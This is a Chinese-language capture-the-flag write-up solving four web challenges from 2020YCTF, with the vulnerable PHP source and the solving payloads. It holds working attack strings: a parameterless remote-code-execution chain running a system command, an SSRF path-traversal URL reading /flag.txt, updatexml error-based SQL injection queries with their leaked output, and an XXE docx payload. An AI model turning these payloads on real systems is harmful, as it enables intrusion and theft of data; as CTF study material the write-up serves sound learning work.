2020YCTF web WP

2020YCTF web WP

  • 2020YCTF web WP
    • web1
    • web2
    • web3
    • web4

2020YCTF web WP

web1

无参数RCE


if(isset($_GET['var'])){
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
                if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
                    eval($_GET['var']);
                }
        }
        else{
            die("Sorry!");
        }
}
else{
    show_source(__FILE__);
}
?>

无参数rce
类似RCTF 2018 的 r-cursive,网上的解题思路很多

  • 文章一
  • 文章二

最终payload多种

  • payload?var=eval(hex2bin(session_id(session_start())));,修改phpsessid为system('cat /flag.txt'));的ascii值。

web2

SSRF

打开题目发现urlindex.php?file=WTNSbWFXMWhaMlV1YW5Cbg==,经过2次解密发现是ctfimage.jpg,所以试着读取index.php的源码
curl http://124.193.74.211:56714/index.php?file=YVc1a1pYZ3VjR2h3
得到源码
index.php


error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
    header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo ''</span><span class="token punctuation">.</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token single-quoted-string string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token single-quoted-string string">'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename:   '. $file.'
'
; $file = str_replace("ctf","flag", $file); echo 'real_filename: '.$file.'
'
; $txt = base64_encode(file_get_contents($file)); echo ""; /* * Can you find the flag file? * * Hint: hal0flagi5here.php */

hint:hal0flagi5here.php
同方法读取hal0flagi5here.php的源码
curl http://124.193.74.211:56714/index.php?file=YUdGc01HWnNZV2RwTldobGNtVXVjR2h3

hal0flagi5here.php


$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
	$r = parse_url($argv[1]);
	print_r($r);
	if(preg_match('/happyctf\.com$/',$r['host']))
	{
		$url=file_get_contents($argv[1]);
		echo($url);
	}else
	{
		echo("error");
	}

}else
{
	echo "403 Forbidden";
}
?>


存在ssrf漏洞
此处我们可以用data协议来触发xss

data://happyctf.com/plain;base64,PHNjcmlwdD5hbGVydCgnYScpPC9zY3JpcHQ+//

但是此题我们需要读取根目录下的/flag,txt

此处不得不说php的一个特性

  • 学习php的c代码中的/main/streams/streams.c 链接
  • 参考学习 链接

部分代码

if (protocol) {
		if (NULL == (wrapper = zend_hash_str_find_ptr(wrapper_hash, protocol, n))) {
			char *tmp = estrndup(protocol, n);

			php_strtolower(tmp, n);
			if (NULL == (wrapper = zend_hash_str_find_ptr(wrapper_hash, tmp, n))) {
				char wrapper_name[32];

				if (n >= sizeof(wrapper_name)) {
					n = sizeof(wrapper_name) - 1;
				}
				PHP_STRLCPY(wrapper_name, protocol, sizeof(wrapper_name), n);

				php_error_docref(NULL, E_WARNING, "Unable to find the wrapper \"%s\" - did you forget to enable it when you configured PHP?", wrapper_name);

				wrapper = NULL;
				protocol = NULL;
			}
			efree(tmp);
		}
	}
	/* TODO: curl based streams probably support file:// properly */
	if (!protocol || !strncasecmp(protocol, "file", n))	{
		/* fall back on regular file access */
		php_stream_wrapper *plain_files_wrapper = (php_stream_wrapper*)&php_plain_files_wrapper;

		if (protocol) {
			int localhost = 0;

			if (!strncasecmp(path, "file://localhost/", 17)) {
				localhost = 1;
			}

#ifdef PHP_WIN32
			if (localhost == 0 && path[n+3] != '\0' && path[n+3] != '/' && path[n+4] != ':')	{
#else
			if (localhost == 0 && path[n+3] != '\0' && path[n+3] != '/') {
#endif
				if (options & REPORT_ERRORS) {
					php_error_docref(NULL, E_WARNING, "Remote host file access not supported, %s", path);
				}
				return NULL;
			}

			if (path_for_open) {
				/* skip past protocol and :/, but handle windows correctly */
				*path_for_open = (char*)path + n + 1;
				if (localhost == 1) {
					(*path_for_open) += 11;
				}
				while (*(++*path_for_open)=='/') {
					/* intentionally empty */
				}
  • 此处用了php_stream_locate_url_wrapper函数,可以知道fopen支持本地文件,函数先查找路径是否以http://ftp://类似协议开头,有则从注册的包装器列表中查找对应包装器;不以协议开头或不明协议则回退到本地文件模式(php_plain_files_wrapper);fopen返回的流对象由包装器打开。
  • 所以判断当我们用file协议或不明的协议,就会调回本地文件模式,利用这点我们就可以读取flag

paylaod:

url=aaa://happyctf.com/../../../../../../flag.txt

这里我们暂时不知道web服务的绝对路径,所以用6次../来返回根目录,如过绝对路径为/var/www/html,那么多余的../被忽略。

web3

二次注入+报错注入

打开题目可以注册,登录,登录后可改密码。
首先fuzz,select,group_concat,concat,updataxml,#等字符没有过滤
但是注册时邮箱不能有@(有点坑)。
payload:

  • 判断数据库,根据报错,判断mysql数据库
  • 表名
aa"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
 
 XPATH syntax error: '~article,flag,users~
  • 列名
aa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),0x7e),1)#

XPATH syntax error: '~title,content,flag,name,pwd,ema'
  • flag
aa"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#

XPATH syntax error: '~flag{9ec58447ff}~'

web4

XXE

打开题目,是一个上传点,只能上传docx文件
题目提示upload.php.bak,访问得到
upload.php


if(isset($_POST["submit"])) {
    $target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        try {
            $result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
            $xml = new SimpleXMLElement($result, LIBXML_NOENT);
            $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
            foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.
"
; } } catch (Exception $e){ echo $e; echo "上传文件不是一个docx文档."; } } else { echo "上传失败."; } }

分析源码,关键点

$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
            $xml = new SimpleXMLElement($result, LIBXML_NOENT);
            $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
            foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.
"
;
  • zip协议获取上传文件docProps/core.xml文件
  • 并解析xml文件,再用xpath获取xml文件的title节点
  • 最后输出获取的节点

所以这里我们把docx,文件中更改docProps/core.xml为我们的payload就可以。

payload:



  ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <dc:title>&xxe;dc:title>
  <dc:subject>dc:subject>
  <dc:creator>dc:creator>
  <cp:keywords>cp:keywords>
  <dc:description>dc:description>
  <cp:lastModifiedBy>cp:lastModifiedBy>
  <cp:revision>1cp:revision>
  <dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Zdcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2015-08-01T19:01:00Zdcterms:modified>
cp:coreProperties>

下载题目给的sample.docx文件,并更改后缀为.zipdocProps/core.xml的内容替换我们的payload,保存并改会文件类型,上传文件得到flag。

你可能感兴趣的:(CTF)